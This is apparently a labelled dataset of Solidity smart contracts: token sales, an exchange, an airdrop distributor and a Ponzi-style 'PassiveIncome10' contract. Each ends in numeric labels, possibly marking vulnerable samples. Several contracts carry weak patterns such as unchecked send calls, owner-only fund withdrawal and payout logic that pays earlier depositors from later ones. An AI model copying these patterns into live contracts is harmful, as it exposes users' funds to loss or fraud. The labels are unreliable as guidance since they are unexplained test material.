constructor (
uint256 initialSupply,
string contractName,
string tokenSymbol,
uint256 contractHoldTime,
address contractOwner
) public {
totalSupply = initialSupply;
name = contractName;
symbol = tokenSymbol;
holdTime = contractHoldTime;
balances[contractOwner] = totalSupply;
}
function deposit() external payable onlyOwner returns(bool success) {
contractBalance = contractAddr.balance;
emit LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() external {
uint256 ethAmount = (holdedOf(msg.sender) * contractBalance) / totalSupply;
require(ethAmount > 0);
emit LogWithdrawal(msg.sender, ethAmount);
delete holded[msg.sender];
hold(msg.sender,balances[msg.sender]);
msg.sender.transfer(ethAmount);
}
function withdraw(uint256 value) external onlyOwner {
msg.sender.transfer(value);
emit LogWithdrawal(msg.sender, value);
}
} | 1 | 4,797 |
pragma solidity ^0.4.24;
contract PassiveIncome10 {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 10/100 * (block.number - atBlock[msg.sender]) / 6000;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 70 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "PalladiumTokenMagic";
string public constant TOKEN_SYMBOL = "PTMX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xdF15E9399B9F325D161c38F7f2aFd72C11a19500;
uint public constant START_TIME = 1533081600;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
constructor() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) public onlyService {
require(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() public view returns (bool) {
return msg.sender == serviceAccount;
}
function check() public payable onlyService notTriggered {
if (internalCheck()) {
emit Triggered(address(this).balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(115170575000000000000000)];
uint64[1] memory timeStartsBounds = [uint64(1533081600)];
uint64[1] memory timeEndsBounds = [uint64(1537027080)];
uint[1] memory weiRaisedAndTimeRates = [uint(50)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
uint[6] memory weiAmountBounds = [uint(200000000000000000000),uint(80000000000000000000),uint(30000000000000000000),uint(10000000000000000000),uint(8000000000000000000),uint(5000000000000000000)];
uint[6] memory weiAmountRates = [uint(0),uint(250),uint(0),uint(150),uint(0),uint(50)];
for (uint j = 0; j < 6; j++) {
if (_weiAmount >= weiAmountBounds[j]) {
bonusRate += bonusRate * weiAmountRates[j] / 1000;
break;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, Checkable
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(2000 * TOKEN_DECIMAL_MULTIPLIER, 0xa7c7e82a53BAEBe36f95B7Df4c447B21eADfB60B, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1541001480)
CappedCrowdsale(115170575000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[5] memory addresses = [address(0xa7c7e82a53baebe36f95b7df4c447b21eadfb60b),address(0xa7c7e82a53baebe36f95b7df4c447b21eadfb60b),address(0xf3dec80a2d514096027a56110b3fc2b155838679),address(0x5eb83c9f93eeb6bf6eb02a1aa9a0815a03c53b2a),address(0xd3841ac09b2fe75e3d0486bce88d1f41298ada41)];
uint[5] memory amounts = [uint(13100000000000000000000000),uint(29800000000000000000000000),uint(600000000000000000000000),uint(58850000000000000000000),uint(14100000000000000000000000)];
uint64[5] memory freezes = [uint64(1604073601),uint64(0),uint64(1572451201),uint64(0),uint64(1572451201)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 3000000000000000000;
return super.hasClosed() || remainValue;
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasClosed();
emit Checked(result);
return result;
}
function internalAction() internal {
finalization();
emit Finalized();
isFinalized = true;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 3000000000000000000);
require(msg.value <= 200000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 1 | 2,957 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract FeeModifiersInterface {
function accountFeeModifiers(address _user) public view returns (uint256 feeDiscount, uint256 feeRebate);
function tradingFeeModifiers(address _maker, address _taker) public view returns (uint256 feeMakeDiscount, uint256 feeTakeDiscount, uint256 feeRebate);
}
contract TradeTrackerInterface {
function tradeEventHandler(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, address _maker, address _user, bytes32 _orderHash, uint256 _gasLimit) public;
}
contract TokenExchange is Ownable {
using SafeMath for uint256;
address public tradeTracker;
address public feeModifiers;
address public feeAccount;
uint256 public feeMake;
uint256 public feeTake;
mapping (address => mapping (address => uint256)) public tokens;
mapping (bytes32 => bool) public cancelledOrders;
mapping (bytes32 => uint256) public orderFills;
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(address token, address user, uint256 amount, uint256 balance);
event Cancel(address tokenGet, uint256 amountGet, address tokenGive, uint256 amountGive, uint256 expires, uint256 nonce, address maker, uint8 v, bytes32 r, bytes32 s, bytes32 orderHash, uint256 amountFilled);
event Trade(address tokenGet, uint256 amountGet, address tokenGive, uint256 amountGive, address maker, address taker, bytes32 orderHash);
constructor() public{
feeAccount = owner;
}
function() public {
revert();
}
function getAccountFeeModifiers(address _user) public view returns(uint256 feeDiscount, uint256 feeRebate) {
if (feeModifiers != address(0)) {
(feeDiscount, feeRebate) = FeeModifiersInterface(feeModifiers).accountFeeModifiers(_user);
}
}
function deposit() public payable {
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].add(msg.value);
emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function depositToken(address _token, uint256 _amount) public {
require(_token != address(0));
if (!Token(_token).transferFrom(msg.sender, this, _amount)) revert();
tokens[_token][msg.sender] = tokens[_token][msg.sender].add(_amount);
emit Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function withdraw(uint256 _amount) public {
require(tokens[address(0)][msg.sender] >= _amount);
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].sub(_amount);
msg.sender.transfer(_amount);
emit Withdraw(address(0), msg.sender, _amount, tokens[address(0)][msg.sender]);
}
function withdrawToken(address _token, uint256 _amount) public {
require(_token != address(0));
require(tokens[_token][msg.sender] >= _amount);
tokens[_token][msg.sender] = tokens[_token][msg.sender].sub(_amount);
if (!Token(_token).transfer(msg.sender, _amount)) revert();
emit Withdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function balanceOf(address _token, address _user) public view returns (uint256) {
return tokens[_token][_user];
}
function trade(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, uint256 _expires, uint256 _nonce, address _maker, uint8 _v, bytes32 _r, bytes32 _s, uint256 _amountTrade) public {
uint256 executionGasLimit = gasleft();
bytes32 orderHash = getOrderHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _maker);
if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), _v, _r, _s) != _maker ||
cancelledOrders[orderHash] ||
block.number > _expires ||
orderFills[orderHash].add(_amountTrade) > _amountGet
) revert();
tradeBalances(_tokenGet, _amountGet, _tokenGive, _amountGive, _maker, _amountTrade);
orderFills[orderHash] = orderFills[orderHash].add(_amountTrade);
uint256 amountTradeGive = _amountGive.mul(_amountTrade) / _amountGet;
if(tradeTracker != address(0)){
TradeTrackerInterface(tradeTracker).tradeEventHandler(_tokenGet, _amountTrade, _tokenGive, amountTradeGive, _maker, msg.sender, orderHash, executionGasLimit);
}
emit Trade(_tokenGet, _amountTrade, _tokenGive, amountTradeGive, _maker, msg.sender, orderHash);
}
function tradeBalances(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, address _maker, uint256 _amountTrade) private {
uint256 feeMakeValue = _amountTrade.mul(feeMake) / (1 ether);
uint256 feeTakeValue = _amountTrade.mul(feeTake) / (1 ether);
uint256 feeRebateValue = 0;
if (feeModifiers != address(0)) {
uint256 feeMakeDiscount; uint256 feeTakeDiscount; uint256 feeRebate;
(feeMakeDiscount, feeTakeDiscount, feeRebate) = FeeModifiersInterface(feeModifiers).tradingFeeModifiers(_maker, msg.sender);
if (feeMakeValue > 0 && feeMakeDiscount > 0 && feeMakeDiscount <= 100 ) feeMakeValue = feeMakeValue.mul(100 - feeMakeDiscount) / 100;
if (feeTakeValue > 0 && feeTakeDiscount > 0 && feeTakeDiscount <= 100 ) feeTakeValue = feeTakeValue.mul(100 - feeTakeDiscount) / 100;
if (feeTakeValue > 0 && feeRebate > 0 && feeRebate <= 100) feeRebateValue = feeTakeValue.mul(feeRebate) / 100;
}
tokens[_tokenGet][msg.sender] = tokens[_tokenGet][msg.sender].sub(_amountTrade.add(feeTakeValue));
tokens[_tokenGet][_maker] = tokens[_tokenGet][_maker].add(_amountTrade.sub(feeMakeValue).add(feeRebateValue));
tokens[_tokenGive][msg.sender] = tokens[_tokenGive][msg.sender].add(_amountGive.mul(_amountTrade) / _amountGet);
tokens[_tokenGive][_maker] = tokens[_tokenGive][_maker].sub(_amountGive.mul(_amountTrade) / _amountGet);
tokens[_tokenGet][feeAccount] = tokens[_tokenGet][feeAccount].add(feeMakeValue.add(feeTakeValue).sub(feeRebateValue));
}
function validateTrade(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, uint256 _expires, uint256 _nonce, address _maker, uint8 _v, bytes32 _r, bytes32 _s, uint256 _amountTrade, address _taker) public view returns (uint8) {
uint256 feeTakeValue = calculateTakerFee(_taker, _amountTrade);
if (_amountTrade.add(feeTakeValue) > tokens[_tokenGet][_taker]) return 1;
if (availableVolume(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _maker, _v, _r, _s) < _amountTrade) return 2;
return 0;
}
function calculateTakerFee(address _taker, uint256 _amountTrade) public view returns (uint256) {
uint256 feeTakeValue = _amountTrade.mul(feeTake) / (1 ether);
uint256 feeDiscount; uint256 feeRebate;
(feeDiscount, feeRebate) = getAccountFeeModifiers(_taker);
if (feeTakeValue > 0 && feeDiscount > 0 && feeDiscount <= 100 ) feeTakeValue = feeTakeValue.mul(100 - feeDiscount) / 100;
return feeTakeValue;
}
function getOrderHash(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, uint256 _expires, uint256 _nonce, address _maker) public view returns (bytes32) {
return keccak256(abi.encodePacked(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _maker));
}
function availableVolume(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, uint256 _expires, uint256 _nonce, address _maker, uint8 _v, bytes32 _r, bytes32 _s) public view returns (uint256) {
bytes32 orderHash = getOrderHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _maker);
if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), _v, _r, _s) != _maker ||
cancelledOrders[orderHash] ||
block.number > _expires ||
_amountGet <= orderFills[orderHash]
) return 0;
uint256[2] memory available;
available[0] = _amountGet.sub(orderFills[orderHash]);
available[1] = tokens[_tokenGive][_maker].mul(_amountGet) / _amountGive;
if (available[0] < available[1]) return available[0];
return available[1];
}
function amountFilled(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, uint256 _expires, uint256 _nonce, address _maker) public view returns (uint256) {
bytes32 orderHash = getOrderHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _maker);
return orderFills[orderHash];
}
function cancelOrder(address _tokenGet, uint256 _amountGet, address _tokenGive, uint256 _amountGive, uint256 _expires, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public {
bytes32 orderHash = getOrderHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, msg.sender);
if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), _v, _r, _s) != msg.sender) revert();
cancelledOrders[orderHash] = true;
emit Cancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, msg.sender, _v, _r, _s, orderHash, orderFills[orderHash]);
}
function changeFeeAccount(address _feeAccount) public onlyOwner {
require(_feeAccount != address(0));
feeAccount = _feeAccount;
}
function changeFeeMake(uint256 _feeMake) public onlyOwner {
require(_feeMake != feeMake);
feeMake = _feeMake;
}
function changeFeeTake(uint256 _feeTake) public onlyOwner {
require(_feeTake != feeTake);
feeTake = _feeTake;
}
function changeFeeModifiers(address _feeModifiers) public onlyOwner {
require(feeModifiers != _feeModifiers);
feeModifiers = _feeModifiers;
}
function changeTradeTracker(address _tradeTracker) public onlyOwner {
require(tradeTracker != _tradeTracker);
tradeTracker = _tradeTracker;
}
} | 0 | 2,412 |
pragma solidity ^0.4.19;
contract StandardToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface Token {
function transfer(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract CslTokenDistribution {
using SafeMath for uint256;
mapping (address => uint256) balances;
Token public cslToken;
address public owner;
uint256 public decimals = 10e17;
uint256 public value = 50000;
uint256 public bonus = 5000;
uint256 public drop;
bool public contractLocked = true;
bool public bonusTime = true;
event sendTokens(address indexed to, uint256 value);
event Locked();
event Unlocked();
event Bonustimer();
event NoBonustimer();
function CslTokenDistribution(address _tokenAddress, address _owner) public {
cslToken = Token(_tokenAddress);
owner = _owner;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function setAirdrop(uint256 _Drop) onlyOwner public {
drop = _Drop;
}
function setCrowdsale(uint256 _value, uint256 _bonus) onlyOwner public {
value = _value;
bonus = _bonus;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier isUnlocked() {
require(!contractLocked);
_;
}
function lockContract() onlyOwner public returns (bool) {
contractLocked = true;
Locked();
return true;
}
function unlockContract() onlyOwner public returns (bool) {
contractLocked = false;
Unlocked();
return false;
}
function bonusOn() onlyOwner public returns (bool) {
bonusTime = true;
Bonustimer();
return true;
}
function bonusOff() onlyOwner public returns (bool) {
bonusTime = false;
NoBonustimer();
return false;
}
function balanceOf(address _holder) constant public returns (uint256 balance) {
return balances[_holder];
}
function getTokenBalance(address who) constant public returns (uint){
uint bal = cslToken.balanceOf(who);
return bal;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function airdrop(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint i = 0; i < addresses.length; i++) {
sendTokens(addresses[i], drop);
cslToken.transfer(addresses[i], drop);
